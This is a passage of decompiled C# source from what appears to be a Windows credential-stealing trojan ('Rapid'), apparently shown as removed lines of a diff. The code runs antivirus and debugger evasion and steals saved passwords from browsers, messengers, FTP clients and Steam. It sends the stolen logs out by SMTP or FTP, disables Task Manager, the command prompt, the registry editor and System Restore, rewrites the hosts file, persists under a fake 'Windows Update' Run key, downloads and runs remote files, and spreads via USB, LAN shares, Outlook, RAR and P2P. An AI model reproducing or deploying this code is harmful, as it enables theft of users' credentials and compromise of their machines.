68; - FileSystem.FileGet(1, ref this.cb7); -label_68: - num3 = 69; - FileSystem.FileGet(1, ref this.cb8); -label_69: - num3 = 70; - FileSystem.FileGet(1, ref this.cb9); -label_70: - num3 = 71; - FileSystem.FileGet(1, ref this.cb11); -label_71: - num3 = 72; - FileSystem.FileGet(1, ref this.cb12); -label_72: - num3 = 73; - FileSystem.FileGet(1, ref this.cb13); -label_73: - num3 = 74; - FileSystem.FileGet(1, ref this.cb14); -label_74: - num3 = 75; - FileSystem.FileGet(1, ref this.cb15); -label_75: - num3 = 76; - FileSystem.FileGet(1, ref this.cb16); -label_76: - num3 = 77; - FileSystem.FileGet(1, ref this.cb17); -label_77: - num3 = 78; - FileSystem.FileGet(1, ref this.cb18); -label_78: - num3 = 79; - FileSystem.FileGet(1, ref this.cb19); -label_79: - num3 = 80; - FileSystem.FileGet(1, ref this.cb20); -label_80: - num3 = 81; - FileSystem.FileGet(1, ref this.cb21); -label_81: - num3 = 82; - FileSystem.FileGet(1, ref this.cb22); -label_82: - num3 = 83; - FileSystem.FileGet(1, ref this.sername); -label_83: - num3 = 84; - FileSystem.FileGet(1, ref this.cb5); -label_84: - num3 = 85; - FileSystem.FileGet(1, ref this.wlist); -label_85: - num3 = 86; - FileSystem.FileGet(1, ref this.cb23); -label_86: - num3 = 87; - FileSystem.FileGet(1, ref this.cb24); -label_87: - num3 = 88; - FileSystem.FileGet(1, ref this.cb25); -label_88: - num3 = 89; - FileSystem.FileGet(1, ref this.cb26); -label_89: - num3 = 90; - FileSystem.FileGet(1, ref this.cb27); -label_90: - num3 = 91; - FileSystem.FileGet(1, ref this.cb28); -label_91: - num3 = 92; - FileSystem.FileGet(1, ref this.cb29); -label_92: - num3 = 93; - FileSystem.FileGet(1, ref this.cb30); -label_93: - num3 = 94; - FileSystem.FileClose(1); -label_94: - num3 = 95; - byte[] bytes = ResourceReader.ReadResource(Application.ExecutablePath); -label_95: - num3 = 96; - string Expression = Encoding.Default.GetString(bytes); -label_96: - num3 = 97; - string[] strArray = Microsoft.VisualBasic.Strings.Split(Expression, "@Rapid@"); -label_97: - num3 = 98; - this.TextBox2.Text = strArray[1]; -label_98: - num3 = 99; - this.TextBox3.Text = strArray[2]; -label_99: - num3 = 100; - this.TextBox4.Text = strArray[3]; -label_100: - num3 = 101; - this.Label1.Text = strArray[4]; -label_101: - num3 = 102; - this.Label2.Text = strArray[5]; -label_102: - num3 = 103; - this.Label3.Text = strArray[6]; -label_103: - num3 = 104; - this.Label4.Text = strArray[7]; -label_104: - num3 = 105; - this.Label5.Text = strArray[8]; -label_105: - num3 = 106; - this.Label7.Text = strArray[9]; -label_106: - num3 = 107; - if (!Conversions.ToBoolean(strArray[10])) - goto label_111; -label_107: - num3 = 108; - this.Label6.Text = "encrypion-Ys"; -label_108: - num3 = 109; - this.TextBox2.Text = Form1.RC4(this.TextBox2.Text, this.skey); -label_109: - num3 = 110; - this.TextBox3.Text = Form1.RC4(this.TextBox3.Text, this.skey); -label_110: - num3 = 111; - this.TextBox4.Text = Form1.RC4(this.TextBox4.Text, this.skey); - goto label_113; -label_111: - num3 = 113; -label_112: - num3 = 114; - this.Label6.Text = "encrypion-no"; -label_113: - num3 = 116; - if (!Conversions.ToBoolean(strArray[11])) - goto label_139; -label_114: - num3 = 117; - this.Label8.Text = "anties-Ys"; -label_115: - ProjectData.ClearProjectError(); - num1 = 1; -label_116: - num3 = 119; - this.AntiAnubis(); -label_117: - ProjectData.ClearProjectError(); - num1 = 1; -label_118: - num3 = 121; - this.AntiBitDefender(); -label_119: - ProjectData.ClearProjectError(); - num1 = 1; -label_120: - num3 = 123; - this.AntiKaspersky(); -label_121: - ProjectData.ClearProjectError(); - num1 = 1; -label_122: - num3 = 125; - this.AntiKeyscrambler(); -label_123: - ProjectData.ClearProjectError(); - num1 = 1; -label_124: - num3 = (int) sbyte.MaxValue; - this.AntiMalwarebytes(); -label_125: - ProjectData.ClearProjectError(); - num1 = 1; -label_126: - num3 = 129; - this.AntiNOD32(); -label_127: - ProjectData.ClearProjectError(); - num1 = 1; -label_128: - num3 = 131; - this.AntiNorman(); -label_129: - ProjectData.ClearProjectError(); - num1 = 1; -label_130: - num3 = 133; - this.AntiOllydbg(); -label_131: - ProjectData.ClearProjectError(); - num1 = 1; -label_132: - num3 = 135; - this.AntiOutpost(); -label_133: - ProjectData.ClearProjectError(); - num1 = 1; -label_134: - num3 = 137; - this.AntiWireshark(); -label_135: - ProjectData.ClearProjectError(); - num1 = 1; -label_136: - num3 = 139; - this.AntiZoneAlarm(); -label_137: - ProjectData.ClearProjectError(); - num1 = 1; -label_138: - num3 = 141; - Form1.ant.mofo(); - goto label_141; -label_139: - num3 = 143; -label_140: - num3 = 144; - this.Label8.Text = "anties-no"; -label_141: - num3 = 146; - if (!Conversions.ToBoolean(strArray[12])) - goto label_143; -label_142: - num3 = 147; - this.Label9.Text = "Rd-Ys"; - goto label_145; -label_143: - num3 = 149; -label_144: - num3 = 150; - this.Label9.Text = "Rd-no"; -label_145: - num3 = 152; - this.Label10.Text = strArray[13]; -label_146: - num3 = 153; - this.Label11.Text = strArray[14]; -label_147: - num3 = 154; - if (!Conversions.ToBoolean(strArray[15])) - goto label_152; -label_148: - num3 = 155; - this.Label12.Text = "Fake-Ys"; -label_149: - num3 = 156; - this.Label13.Text = strArray[16]; -label_150: - num3 = 157; - this.Label14.Text = strArray[17]; -label_151: - num3 = 158; - this.Label15.Text = strArray[18]; - goto label_154; -label_152: - num3 = 160; -label_153: - num3 = 161; - this.Label12.Text = "Fake-no"; -label_154: - num3 = 163; - if (!Conversions.ToBoolean(strArray[19])) - goto label_156; -label_155: - num3 = 164; - this.Label17.Text = "usb-Ys"; - goto label_158; -label_156: - num3 = 166; -label_157: - num3 = 167; - this.Label17.Text = "usb-no"; -label_158: - num3 = 169; - if (!Conversions.ToBoolean(strArray[20])) - goto label_160; -label_159: - num3 = 170; - this.Label18.Text = "p2p-Ys"; - goto label_162; -label_160: - num3 = 172; -label_161: - num3 = 173; - this.Label18.Text = "p2p-no"; -label_162: - num3 = 175; - if (!Conversions.ToBoolean(strArray[21])) - goto label_164; -label_163: - num3 = 176; - this.Label19.Text = "screenlogger-Ys"; - goto label_166; -label_164: - num3 = 178; -label_165: - num3 = 179; - this.Label19.Text = "screenlogger-no"; -label_166: - num3 = 181; - if (!Conversions.ToBoolean(strArray[22])) - goto label_201; -label_167: - num3 = 182; - this.Label20.Text = "stealers-Ys"; -label_168: - ProjectData.ClearProjectError(); - num1 = 1; -label_169: - num3 = 184; - Module1.Main(); -label_170: - ProjectData.ClearProjectError(); - num1 = 1; -label_171: - num3 = 186; - this.GetChrome(); -label_172: - ProjectData.ClearProjectError(); - num1 = 1; -label_173: - num3 = 188; - this.paltalkscene(); -label_174: - ProjectData.ClearProjectError(); - num1 = 1; -label_175: - num3 = 190; - this.Imvu_Fuck(); -label_176: - ProjectData.ClearProjectError(); - num1 = 1; -label_177: - num3 = 192; - this.NoIPRec(); -label_178: - ProjectData.ClearProjectError(); - num1 = 1; -label_179: - num3 = 194; - this.dyn1(); -label_180: - ProjectData.ClearProjectError(); - num1 = 1; -label_181: - num3 = 196; - this.pigdin(); -label_182: - ProjectData.ClearProjectError(); - num1 = 1; -label_183: - num3 = 198; - this.fzilla(); -label_184: - ProjectData.ClearProjectError(); - num1 = 1; -label_185: - num3 = 200; - this.SmartFTP(); -label_186: - ProjectData.ClearProjectError(); - num1 = 1; -label_187: - num3 = 202; - this.CoreFTP(); -label_188: - ProjectData.ClearProjectError(); - num1 = 1; -label_189: - num3 = 204; - this.TextBox9.Text = FuckTheKey.fuckkeys(); -label_190: - ProjectData.ClearProjectError(); - num1 = 1; -label_191: - num3 = 206; - this.FuckIe(); -label_192: - num3 = 207; - this.TextBox10.Text = this.ie; -label_193: - ProjectData.ClearProjectError(); - num1 = 1; -label_194: - num3 = 209; - this.msn_fuck_x(); -label_195: - ProjectData.ClearProjectError(); - num1 = 1; -label_196: - num3 = 211; - this.Idm_Fuck_x(); -label_197: - ProjectData.ClearProjectError(); - num1 = 1; -label_198: - num3 = 213; - this.steam_fuck(); -label_199: - num3 = 214; - this.steam(); -label_200: - num3 = 215; - this.forcesteam(); - goto label_203; -label_201: - num3 = 217; -label_202: - num3 = 218; - this.Label20.Text = "stealers-no"; -label_203: - num3 = 220; - if (!Conversions.ToBoolean(strArray[23])) - goto label_205; -label_204: - num3 = 221; - this.Label29.Text = "av_blocker-Ys"; - goto label_207; -label_205: - num3 = 223; -label_206: - num3 = 224; - this.Label29.Text = "av_blocker-no"; -label_207: - num3 = 226; - if (!Conversions.ToBoolean(strArray[24])) - goto label_210; -label_208: - num3 = 227; - this.Label30.Text = "clipboardlogger-Ys"; -label_209: - num3 = 228; - this.Timer2.Start(); - goto label_212; -label_210: - num3 = 230; -label_211: - num3 = 231; - this.Label30.Text = "clipboardlogger-no"; -label_212: - num3 = 233; - if (!Conversions.ToBoolean(strArray[25])) - goto label_220; -label_213: - num3 = 234; - this.Label31.Text = "delete coockies-Ys"; -label_214: - ProjectData.ClearProjectError(); - num1 = 1; -label_215: - num3 = 236; - this.KillProcesses(true, true); -label_216: - ProjectData.ClearProjectError(); - num1 = 1; -label_217: - num3 = 238; - this.DeleteIECookies(true); -label_218: - ProjectData.ClearProjectError(); - num1 = 1; -label_219: - num3 = 240; - this.DeleteMozillaCookies(true); - goto label_222; -label_220: - num3 = 242; -label_221: - num3 = 243; - this.Label31.Text = "delete coockies-no"; -label_222: - num3 = 245; - if (!Conversions.ToBoolean(strArray[26])) - goto label_226; -label_223: - num3 = 246; - this.Label22.Text = "fuck run-Ys"; -label_224: - ProjectData.ClearProjectError(); - num1 = 1; -label_225: - num3 = 248; - Interaction.Shell("REG add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoRun /t REG_DWORD /d 1 /f", AppWinStyle.Hide); - goto label_228; -label_226: - num3 = 250; -label_227: - num3 = 251; - this.Label22.Text = "fuck run-no"; -label_228: - num3 = 253; - if (!Conversions.ToBoolean(strArray[27])) - goto label_230; -label_229: - num3 = 254; - this.Label23.Text = "fuck taskbar-Ys"; - goto label_232; -label_230: - num3 = 256; -label_231: - num3 = 257; - this.Label23.Text = "fuck taskbar-no"; -label_232: - num3 = 259; - if (!Conversions.ToBoolean(strArray[28])) - goto label_236; -label_233: - num3 = 260; - this.Label24.Text = "fuck cmd-Ys"; -label_234: - ProjectData.ClearProjectError(); - num1 = 1; -label_235: - num3 = 262; - Interaction.Shell("REG add HKCU\\Software\\Policies\\Microsoft\\Windows\\System /v DisableCMD /t REG_DWORD /d 1 /f", AppWinStyle.Hide); - goto label_238; -label_236: - num3 = 264; -label_237: - num3 = 265; - this.Label24.Text = "fuck cmd-no"; -label_238: - num3 = 267; - if (!Conversions.ToBoolean(strArray[29])) - goto label_242; -label_239: - num3 = 268; - this.Label25.Text = "fuck reg-Ys"; -label_240: - ProjectData.ClearProjectError(); - num1 = 1; -label_241: - num3 = 270; - Interaction.Shell("REG add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableRegistryTools /t REG_DWORD /d 1 /f", AppWinStyle.Hide); - goto label_244; -label_242: - num3 = 272; -label_243: - num3 = 273; - this.Label25.Text = "fuck reg-no"; -label_244: - num3 = 275; - if (!Conversions.ToBoolean(strArray[30])) - goto label_248; -label_245: - num3 = 276; - this.Label26.Text = "fuck rightclick-Ys"; -label_246: - ProjectData.ClearProjectError(); - num1 = 1; -label_247: - num3 = 278; - Interaction.Shell("REG add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f", AppWinStyle.Hide); - goto label_250; -label_248: - num3 = 280; -label_249: - num3 = 281; - this.Label26.Text = "fuck rightclick-no"; -label_250: - num3 = 283; - if (!Conversions.ToBoolean(strArray[31])) - goto label_254; -label_251: - num3 = 284; - this.Label27.Text = "fuck fInfo-Ys"; -label_252: - ProjectData.ClearProjectError(); - num1 = 1; -label_253: - num3 = 286; - Interaction.Shell("REG add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoFolderInfo /t REG_DWORD /d 1 /f", AppWinStyle.Hide); - goto label_256; -label_254: - num3 = 288; -label_255: - num3 = 289; - this.Label27.Text = "fuck fInfo-no"; -label_256: - num3 = 291; - if (!Conversions.ToBoolean(strArray[32])) - goto label_260; -label_257: - num3 = 292; - this.Label28.Text = "fuck taskmngr-Ys"; -label_258: - ProjectData.ClearProjectError(); - num1 = 1; -label_259: - num3 = 294; - Interaction.Shell("REG add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", AppWinStyle.Hide); - goto label_262; -label_260: - num3 = 296; -label_261: - num3 = 297; - this.Label28.Text = "fuck taskmngr-no"; -label_262: - num3 = 299; - if (!Conversions.ToBoolean(strArray[33])) - goto label_266; -label_263: - num3 = 300; - this.Label32.Text = "fuck cpanel-Ys"; -label_264: - ProjectData.ClearProjectError(); - num1 = 1; -label_265: - num3 = 302; - Interaction.Shell("REG add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.Hide); - goto label_268; -label_266: - num3 = 304; -label_267: - num3 = 305; - this.Label32.Text = "fuck cpanel-no"; -label_268: - num3 = 307; - if (!Conversions.ToBoolean(strArray[34])) - goto label_272; -label_269: - num3 = 308; - this.Label33.Text = "fuck sysrestore-Ys"; -label_270: - ProjectData.ClearProjectError(); - num1 = 1; -label_271: - num3 = 310; - MyProject.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore", "DisableSR", (object) "1", RegistryValueKind.DWord); - goto label_274; -label_272: - num3 = 312; -label_273: - num3 = 313; - this.Label33.Text = "fuck sysrestore-no"; -label_274: - num3 = 315; - this.sername = strArray[35]; -label_275: - num3 = 316; - this.Label34.Text = this.sername; -label_276: - num3 = 317; - if (!Conversions.ToBoolean(strArray[36])) - goto label_284; -label_277: - num3 = 318; - this.Label16.Text = "startup-Ys"; -label_278: - ProjectData.ClearProjectError(); - num1 = 1; -label_279: - num3 = 320; - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Templates); -label_280: - num3 = 321; - if (!System.IO.File.Exists(folderPath + "\\" + this.Label34.Text + ".exe")) - goto label_282; -label_281: - num3 = 322; - MyProject.Computer.FileSystem.DeleteFile(folderPath + "\\" + this.Label34.Text + ".exe"); -label_282: - num3 = 324; - System.IO.File.Copy(Application.ExecutablePath, folderPath + "\\" + this.Label34.Text + ".exe"); -label_283: - num3 = 325; - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Windows Update", (object) (folderPath + "\\" + this.Label34.Text + ".exe"), RegistryValueKind.String); - goto label_286; -label_284: - num3 = 327; -label_285: - num3 = 328; - this.Label16.Text = "startup-no"; -label_286: - num3 = 330; - this.TextBox6.Text = strArray[37]; -label_287: - num3 = 331; - if (Operators.CompareString(this.Label29.Text, "av_blocker-Ys", false) != 0) - goto label_295; -label_288: - ProjectData.ClearProjectError(); - num1 = 1; -label_289: - num3 = 333; - string path = this.dpath + "\\drivers\\etc\\\\hosts"; -label_290: - num3 = 334; - StreamWriter streamWriter = new StreamWriter(path); -label_291: - num3 = 335; - streamWriter.Write("# + -----Created By Rapid (Indian - Coder ) --------- +"); -label_292: - num3 = 336; - streamWriter.Write(Environment.NewLine); -label_293: - num3 = 337; - streamWriter.Write(this.TextBox6.Text); -label_294: - num3 = 338; - streamWriter.Dispose(); -label_295: - num3 = 340; - if (Operators.CompareString(this.Label17.Text, "usb-Ys", false) != 0) - ; -label_296: - num3 = 342; - this.totalfuckshit = "[Stealers] " + this.nl + this.nl + "FireFox Passwords" + this.nl + this.nl + this.TextBox7.Text + this.nl + this.nl + "Internet Explorer Passwords" + this.nl + this.ie + this.nl + this.nl + "Google Chrome Passwords" + this.nl + this.TextBox8.Text + this.nl + this.nl + "Msn Messenger Passwords" + this.nl + this.msn1 + this.nl + this.msn2 + this.nl + this.nl + "[--------- Paltalk Scene ----------]" + this.nl + this.@out + this.nl + this.nl + " [--------- Pidgin ----------] " + this.nl + this.Pigtext + this.nl + this.nl + "" + this.nl + this.NoIpBox + this.nl + this.nl + "" + this.nl + this.imvu + this.nl + this.nl + "FileZilla" + this.nl + this.filez + this.nl + this.nl + "DynDn" + this.nl + this.dynfuck + this.nl + this.nl + "SmartFTP" + this.nl + this.SmartFTP() + this.nl + this.nl + "Core FTP" + this.nl + this.CoreFTP() + this.nl + this.nl + "Internet Download Manager" + this.nl + this.nl + this.idmpass + this.nl + this.nl; -label_297: - num3 = 343; - this.TextBox12.Text = this.totalfuckshit; -label_298: - num3 = 344; - this.Timer1.Start(); -label_299: - num3 = 345; - this.cd_keytxt_Create(); -label_300: - num3 = 346; - if (Operators.CompareString(this.Label2.Text, "smtp", false) != 0) - goto label_307; -label_301: - ProjectData.ClearProjectError(); - num1 = 1; -label_302: - num3 = 348; - this.cp_information(); -label_303: - num3 = 349; - this.Timer3.Interval = checked ((int) Math.Round(unchecked (Conversions.ToDouble(this.Label1.Text) * 60000.0))); -label_304: - num3 = 350; - this.Label1.Text = Conversions.ToString(this.Timer3.Interval); -label_305: - num3 = 351; - this.Timer3.Start(); -label_306: - num3 = 352; - this.Label41.Text = "Timer 3 --------- Smtp started"; -label_307: - num3 = 354; - if (Operators.CompareString(this.Label2.Text, "ftp", false) != 0) - goto label_315; -label_308: - ProjectData.ClearProjectError(); - num1 = 1; -label_309: - num3 = 356; - this.cp_information(); -label_310: - num3 = 357; - this.makedir(); -label_311: - num3 = 358; - this.Timer5.Interval = checked ((int) Math.Round(unchecked (Conversions.ToDouble(this.Label1.Text) * 60000.0))); -label_312: - num3 = 359; - this.Label1.Text = Conversions.ToString(this.Timer5.Interval); -label_313: - num3 = 360; - this.Timer5.Start(); -label_314: - num3 = 361; - this.Label41.Text = "Timer 5 : Ftp started"; -label_315: - num3 = 363; - if (!Conversions.ToBoolean(strArray[38])) - goto label_326; -label_316: - num3 = 364; - this.Label42.Text = "Logsfucker-Ys"; -label_317: - num3 = 365; - this.TextBox18.Text = strArray[39]; -label_318: - num3 = 366; - WebClient webClient = new WebClient(); -label_319: - num3 = 367; - string str = webClient.DownloadString(this.TextBox18.Text).Trim(); -label_320: - num3 = 368; - this.TextBox19.Text = str; -label_321: - num3 = 369; - if (Operators.CompareString(this.TextBox20.Text, this.TextBox19.Text, false) != 0) - goto label_328; -label_322: - num3 = 370; - this.Timer1.Stop(); -label_323: - num3 = 371; - this.Timer3.Stop(); -label_324: - num3 = 372; - this.Timer5.Stop(); -label_325: - num3 = 373; - this.TextBox1.Text = ""; - goto label_328; -label_326: - num3 = 376; -label_327: - num3 = 377; - this.Label42.Text = "logsfucker-no"; -label_328: - num3 = 379; - if (Operators.CompareString(this.Label9.Text, "Rd-Ys", false) != 0) - goto label_333; -label_329: - num3 = 380; - if (!System.IO.File.Exists(this.dpath + "\\" + this.Label11.Text)) - goto label_331; -label_330: - num3 = 381; - System.IO.File.Delete(this.dpath + "\\" + this.Label11.Text); -label_331: - num3 = 383; - MyProject.Computer.Network.DownloadFile(this.Label10.Text, this.dpath + "\\" + this.Label11.Text); -label_332: - num3 = 384; - Process.Start(this.dpath + "\\" + this.Label11.Text); -label_333: - num3 = 386; - if (Operators.CompareString(this.Label12.Text, "Fake-Ys", false) != 0) - goto label_343; -label_334: - ProjectData.ClearProjectError(); - num1 = 1; -label_335: - num3 = 388; - if (Operators.CompareString(this.Label15.Text, "error", false) != 0) - goto label_337; -label_336: - num3 = 389; - MessageBox.Show(this.Label14.Text, this.Label13.Text, MessageBoxButtons.AbortRetryIgnore, MessageBoxIcon.Hand); - goto label_343; -label_337: - num3 = 391; - if (Operators.CompareString(this.Label15.Text, "asterisk", false) != 0) - goto label_339; -label_338: - num3 = 392; - MessageBox.Show(this.Label14.Text, this.Label13.Text, MessageBoxButtons.AbortRetryIgnore, MessageBoxIcon.Asterisk); - goto label_343; -label_339: - num3 = 394; - if (Operators.CompareString(this.Label15.Text, "warning", false) != 0) - goto label_341; -label_340: - num3 = 395; - MessageBox.Show(this.Label14.Text, this.Label13.Text, MessageBoxButtons.AbortRetryIgnore, MessageBoxIcon.Exclamation); - goto label_343; -label_341: - num3 = 397; - if (Operators.CompareString(this.Label15.Text, "question", false) != 0) - goto label_343; -label_342: - num3 = 398; - MessageBox.Show(this.Label14.Text, this.Label13.Text, MessageBoxButtons.AbortRetryIgnore, MessageBoxIcon.Question); -label_343: - num3 = 401; - if (!Conversions.ToBoolean(strArray[40])) - goto label_347; -label_344: - ProjectData.ClearProjectError(); - num1 = 1; -label_345: - num3 = 403; - this.StartDetection(); -label_346: - num3 = 404; - this.Label43.Text = "usb yes"; - goto label_349; -label_347: - num3 = 406; -label_348: - num3 = 407; - this.Label43.Text = "usb no"; -label_349: - num3 = 409; - if (!Conversions.ToBoolean(strArray[41])) - goto label_353; -label_350: - ProjectData.ClearProjectError(); - num1 = 1; -label_351: - num3 = 411; - yahoo.yahoo_sp(); -label_352: - num3 = 412; - this.Label44.Text = "yahoo yes"; - goto label_355; -label_353: - num3 = 414; -label_354: - num3 = 415; - this.Label44.Text = "yahoo no "; -label_355: - num3 = 417; - if (!Conversions.ToBoolean(strArray[42])) - goto label_361; -label_356: - ProjectData.ClearProjectError(); - num1 = 1; -label_357: - num3 = 419; - LAN.UniversalUser(); -label_358: - num3 = 420; - LAN.CreateShare("C:\\Program Settings", "Program Settings"); -label_359: - num3 = 421; - LAN.Share(); -label_360: - num3 = 422; - this.Label45.Text = "Lan yes"; - goto label_363; -label_361: - num3 = 424; -label_362: - num3 = 425; - this.Label45.Text = "lan no "; -label_363: - num3 = 427; - if (!Conversions.ToBoolean(strArray[43])) - goto label_367; -label_364: - ProjectData.ClearProjectError(); - num1 = 1; -label_365: - num3 = 429; - Outlook.Send(); -label_366: - num3 = 430; - this.Label46.Text = "Olook yes"; - goto label_369; -label_367: - num3 = 432; -label_368: - num3 = 433; - this.Label46.Text = "Olook no "; -label_369: - num3 = 435; - if (!Conversions.ToBoolean(strArray[44])) - goto label_373; -label_370: - ProjectData.ClearProjectError(); - num1 = 1; -label_371: - num3 = 437; - RAR.Spread("winlogn.exe"); -label_372: - num3 = 438; - this.Label47.Text = "rar yes"; - goto label_375; -label_373: - num3 = 440; -label_374: - num3 = 441; - this.Label47.Text = "rar no "; -label_375: - num3 = 443; - if (!Conversions.ToBoolean(strArray[45])) - goto label_379; -label_376: - ProjectData.ClearProjectError(); - num1 = 1; -label_377: - num3 = 445; - P2P.p2p(); -label_378: - num3 = 446; - this.Label48.Text = "p2p yes"; - goto label_387; -label_379: - num3 = 448; -label_380: - num3 = 449; - this.Label48.Text = "p2p no "; - goto label_387; -label_382: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_15; - case 17: - goto label_16; - case 18: - goto label_17; - case 19: - goto label_18; - case 20: - goto label_19; - case 21: - goto label_20; - case 22: - goto label_21; - case 23: - goto label_22; - case 24: - goto label_23; - case 25: - goto label_24; - case 26: - goto label_25; - case 27: - goto label_26; - case 28: - goto label_27; - case 29: - goto label_28; - case 30: - goto label_29; - case 31: - goto label_30; - case 32: - goto label_31; - case 33: - goto label_32; - case 34: - goto label_33; - case 35: - goto label_34; - case 36: - goto label_35; - case 37: - goto label_36; - case 38: - goto label_37; - case 39: - goto label_38; - case 40: - goto label_39; - case 41: - goto label_40; - case 42: - goto label_41; - case 43: - goto label_42; - case 44: - goto label_43; - case 45: - goto label_44; - case 46: - goto label_45; - case 47: - goto label_46; - case 48: - goto label_47; - case 49: - goto label_48; - case 50: - goto label_49; - case 51: - goto label_50; - case 52: - goto label_51; - case 53: - goto label_52; - case 54: - goto label_53; - case 55: - goto label_54; - case 56: - goto label_55; - case 57: - goto label_56; - case 58: - goto label_57; - case 59: - goto label_58; - case 60: - goto label_59; - case 61: - goto label_60; - case 62: - goto label_61; - case 63: - goto label_62; - case 64: - goto label_63; - case 65: - goto label_64; - case 66: - goto label_65; - case 67: - goto label_66; - case 68: - goto label_67; - case 69: - goto label_68; - case 70: - goto label_69; - case 71: - goto label_70; - case 72: - goto label_71; - case 73: - goto label_72; - case 74: - goto label_73; - case 75: - goto label_74; - case 76: - goto label_75; - case 77: - goto label_76; - case 78: - goto label_77; - case 79: - goto label_78; - case 80: - goto label_79; - case 81: - goto label_80; - case 82: - goto label_81; - case 83: - goto label_82; - case 84: - goto label_83; - case 85: - goto label_84; - case 86: - goto label_85; - case 87: - goto label_86; - case 88: - goto label_87; - case 89: - goto label_88; - case 90: - goto label_89; - case 91: - goto label_90; - case 92: - goto label_91; - case 93: - goto label_92; - case 94: - goto label_93; - case 95: - goto label_94; - case 96: - goto label_95; - case 97: - goto label_96; - case 98: - goto label_97; - case 99: - goto label_98; - case 100: - goto label_99; - case 101: - goto label_100; - case 102: - goto label_101; - case 103: - goto label_102; - case 104: - goto label_103; - case 105: - goto label_104; - case 106: - goto label_105; - case 107: - goto label_106; - case 108: - goto label_107; - case 109: - goto label_108; - case 110: - goto label_109; - case 111: - goto label_110; - case 112: - case 115: - case 116: - goto label_113; - case 113: - goto label_111; - case 114: - goto label_112; - case 117: - goto label_114; - case 118: - goto label_115; - case 119: - goto label_116; - case 120: - goto label_117; - case 121: - goto label_118; - case 122: - goto label_119; - case 123: - goto label_120; - case 124: - goto label_121; - case 125: - goto label_122; - case 126: - goto label_123; - case (int) sbyte.MaxValue: - goto label_124; - case 128: - goto label_125; - case 129: - goto label_126; - case 130: - goto label_127; - case 131: - goto label_128; - case 132: - goto label_129; - case 133: - goto label_130; - case 134: - goto label_131; - case 135: - goto label_132; - case 136: - goto label_133; - case 137: - goto label_134; - case 138: - goto label_135; - case 139: - goto label_136; - case 140: - goto label_137; - case 141: - goto label_138; - case 142: - case 145: - case 146: - goto label_141; - case 143: - goto label_139; - case 144: - goto label_140; - case 147: - goto label_142; - case 148: - case 151: - case 152: - goto label_145; - case 149: - goto label_143; - case 150: - goto label_144; - case 153: - goto label_146; - case 154: - goto label_147; - case 155: - goto label_148; - case 156: - goto label_149; - case 157: - goto label_150; - case 158: - goto label_151; - case 159: - case 162: - case 163: - goto label_154; - case 160: - goto label_152; - case 161: - goto label_153; - case 164: - goto label_155; - case 165: - case 168: - case 169: - goto label_158; - case 166: - goto label_156; - case 167: - goto label_157; - case 170: - goto label_159; - case 171: - case 174: - case 175: - goto label_162; - case 172: - goto label_160; - case 173: - goto label_161; - case 176: - goto label_163; - case 177: - case 180: - case 181: - goto label_166; - case 178: - goto label_164; - case 179: - goto label_165; - case 182: - goto label_167; - case 183: - goto label_168; - case 184: - goto label_169; - case 185: - goto label_170; - case 186: - goto label_171; - case 187: - goto label_172; - case 188: - goto label_173; - case 189: - goto label_174; - case 190: - goto label_175; - case 191: - goto label_176; - case 192: - goto label_177; - case 193: - goto label_178; - case 194: - goto label_179; - case 195: - goto label_180; - case 196: - goto label_181; - case 197: - goto label_182; - case 198: - goto label_183; - case 199: - goto label_184; - case 200: - goto label_185; - case 201: - goto label_186; - case 202: - goto label_187; - case 203: - goto label_188; - case 204: - goto label_189; - case 205: - goto label_190; - case 206: - goto label_191; - case 207: - goto label_192; - case 208: - goto label_193; - case 209: - goto label_194; - case 210: - goto label_195; - case 211: - goto label_196; - case 212: - goto label_197; - case 213: - goto label_198; - case 214: - goto label_199; - case 215: - goto label_200; - case 216: - case 219: - case 220: - goto label_203; - case 217: - goto label_201; - case 218: - goto label_202; - case 221: - goto label_204; - case 222: - case 225: - case 226: - goto label_207; - case 223: - goto label_205; - case 224: - goto label_206; - case 227: - goto label_208; - case 228: - goto label_209; - case 229: - case 232: - case 233: - goto label_212; - case 230: - goto label_210; - case 231: - goto label_211; - case 234: - goto label_213; - case 235: - goto label_214; - case 236: - goto label_215; - case 237: - goto label_216; - case 238: - goto label_217; - case 239: - goto label_218; - case 240: - goto label_219; - case 241: - case 244: - case 245: - goto label_222; - case 242: - goto label_220; - case 243: - goto label_221; - case 246: - goto label_223; - case 247: - goto label_224; - case 248: - goto label_225; - case 249: - case 252: - case 253: - goto label_228; - case 250: - goto label_226; - case 251: - goto label_227; - case 254: - goto label_229; - case (int) byte.MaxValue: - case 258: - case 259: - goto label_232; - case 256: - goto label_230; - case 257: - goto label_231; - case 260: - goto label_233; - case 261: - goto label_234; - case 262: - goto label_235; - case 263: - case 266: - case 267: - goto label_238; - case 264: - goto label_236; - case 265: - goto label_237; - case 268: - goto label_239; - case 269: - goto label_240; - case 270: - goto label_241; - case 271: - case 274: - case 275: - goto label_244; - case 272: - goto label_242; - case 273: - goto label_243; - case 276: - goto label_245; - case 277: - goto label_246; - case 278: - goto label_247; - case 279: - case 282: - case 283: - goto label_250; - case 280: - goto label_248; - case 281: - goto label_249; - case 284: - goto label_251; - case 285: - goto label_252; - case 286: - goto label_253; - case 287: - case 290: - case 291: - goto label_256; - case 288: - goto label_254; - case 289: - goto label_255; - case 292: - goto label_257; - case 293: - goto label_258; - case 294: - goto label_259; - case 